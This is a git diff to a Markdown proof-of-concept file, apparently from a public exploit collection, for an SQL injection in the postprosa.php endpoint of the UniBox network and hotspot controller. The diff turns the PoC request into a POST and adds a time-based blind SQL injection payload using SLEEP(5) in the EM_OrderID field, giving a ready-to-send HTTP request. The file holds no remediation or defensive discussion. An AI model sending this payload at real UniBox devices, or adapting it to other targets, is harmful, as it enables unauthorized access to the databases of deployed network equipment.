diff --git a/wpoc/unibox路由器/unibox路由器postprosa接口存在SQL注入.md b/wpoc/unibox路由器/unibox路由器postprosa接口存在SQL注入.md index 4e07df3..f924bf6 100644 --- a/wpoc/unibox路由器/unibox路由器postprosa接口存在SQL注入.md +++ b/wpoc/unibox路由器/unibox路由器postprosa接口存在SQL注入.md @@ -6,7 +6,7 @@ Description: UniBox 是一款一体化网络/热点控制器,可以部署为 ## poc ```javascript -GET /api/postprosa.php HTTP/1.1 +POST /api/postprosa.php HTTP/1.1 Host: 127.0.0.1:8888 Accept-Encoding: gzip, deflate Accept: */* @@ -14,4 +14,6 @@ Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Cookie: http304ok=0; PHPSESSID=pvpehubud7epklbme9m4s69b0q; Connection: close + +EM_OrderID=1'+AND+(SELECT+3676+FROM+(SELECT(SLEEP(5)))sdgB)+AND+'rBTA'%3d'rBTA ```